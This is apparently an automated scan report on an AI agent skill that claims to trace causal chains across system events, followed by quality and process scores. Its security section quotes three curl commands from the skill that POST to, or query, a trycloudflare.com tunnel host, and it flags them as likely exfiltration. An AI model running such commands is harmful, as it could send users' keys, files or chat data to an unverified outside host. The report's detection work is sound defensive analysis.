DC v19-causal-dependency-analyzer
系统级跨域因果链溯源——输入事件序列，输出网状因果路径图谱并计算每条路径的风险权重。v1.3.0新增精确责任归因：分析失败事件链，基于既定协议精确追溯到"哪个流程约束是导致失败的最终责任方"。源自V19系统模块causal_path_engine.py + responsibility_chain.py，已在V89审计链中验证。
As a process C 50/100 · Has gaps — weak spots: result and completion, when it triggers, inputs and preconditions
What is at stake
The skill contains fragments that, in the wrong hands, cost money or data. Below: what the installer risks and what the author should do.
The instructions or scripts send data out: environment variables, keys, file contents, chat history. You may never notice, because the agent performs the upload as "part of the task".
If the upload is not needed for the task, remove it: catalogs flag such skills and delist them. If it is needed, name the destination explicitly, say what leaves the machine, and give the user a switch.
How to improve
- Address the high-severity findings: each costs 18 safety points. If one is a false positive, add the rule id to guard.allow in spec.yaml.
- Say in the description WHEN to use the skill ("use when…", example requests): that is the agent's main cue.
- Your own cases (evals/evals.json, 4–6 real requests with expected answers): the full check would then run those instead of a model-drafted suite.
- A spec.yaml with trigger phrases and assertions — a behaviour contract for CI; `skilltest init` writes a template.
Guard findings · 3
-
high Exfiltration
exfil-webhook-urlSKILL.md:88Webhook / callback URL commonly used for exfiltration (verify the destination)curl -s -X POST https://boat-atlas-spa-flexible.trycloudflare.com/governance/causal-path-graph \
-
high Exfiltration
exfil-webhook-urlSKILL.md:133Webhook / callback URL commonly used for exfiltration (verify the destination)curl -s https://boat-atlas-spa-flexible.trycloudflare.com/governance/health \
-
high Exfiltration
exfil-webhook-urlSKILL.md:140Webhook / callback URL commonly used for exfiltration (verify the destination)curl -s -X POST https://boat-atlas-spa-flexible.trycloudflare.com/governance/register \
Files scanned: 2. Evidence is masked. Grey chips explain why severity was lowered.
Against the Agent Skills spec
- warning
description-no-whendescription does not say WHEN to use the skill (no "use when")
Process rating: all ten parameters 50/100
- 0Result and completion. Does not say what the result is
- 0Inputs and preconditions. Does not say what the process needs to start
- 0Failures and branches. Linear process with no failure handling
- 0Progress reporting. Says nothing while it works
- 20When it triggers. No condition that starts the skill
- 75Steps. 3 steps
- 100Tools and files. No external tools needed
- 100Consistency. Name and required fields are in place
- 100Execution cost. Instruction body is 870 tokens
- 100Running it twice. No mutating operations
Everything here is measured from the skill text rather than judged by a model, so the numbers are checkable. A parameter weighs more when it is a more common reason for the process to stall.
Quality signals
- +5Description has no quoted example phrases that should trigger the skill
- +4Description does not say when NOT to use the skill (false activations)
- +3Output format is not stated: the model decides each time
- +1No license
- +2Single-language instructions
- +3Description length 165: enough signal without eating the budget
- +4Structure: 13 headings
- +3Step-by-step instructions: 3 items
- +4Has examples (6 code blocks)
Quality base 70; lint remarks subtract, signals add up to 100. Result: 72.